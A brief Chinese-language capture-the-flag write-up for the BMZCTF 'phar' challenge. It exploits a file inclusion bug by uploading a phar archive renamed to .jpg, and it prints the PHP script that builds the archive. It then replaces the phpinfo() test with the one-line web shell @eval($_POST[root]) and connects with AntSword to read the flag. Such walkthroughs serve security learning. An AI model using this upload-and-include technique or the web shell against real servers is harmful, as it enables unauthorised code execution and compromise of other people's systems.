[BMZCTF]-phar??
进入题目后,根据源代码中的提示,可以发现两个页面
在include.php中根据页面中的提示,应该是存在文件包含的,这里随便包含了一个文件试试,根据报错不难看出确实是存在文件包含漏洞,这里需要注意的一点是,他会在你包含的文件名后强制加上.php后缀
emem那根据常规套路,应该是在upload.php上传文件,然后在include.php包含该文件
尝试上传php文件无法上传,jpg文件可以
这里试了一下直接文件包含,不太行
果然,不出意外这道题应该是和题目提示的一样,需要用到phar反序列化来解决
<?php
class Test {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.php", '<?php phpinfo();?>'); //添加要压缩的文件
$phar->stopBuffering();
?>
将生成的phar.phar改成phar.jpg然后上传,然后进行文件包含
成功执行了phpinfo,接下来用蚁剑链接
把phpinfo删了后换成一句话木马@eval($_POST[root]),重新生成phar文件上传,用蚁剑连接
直接在虚拟终端里找flag
成功拿下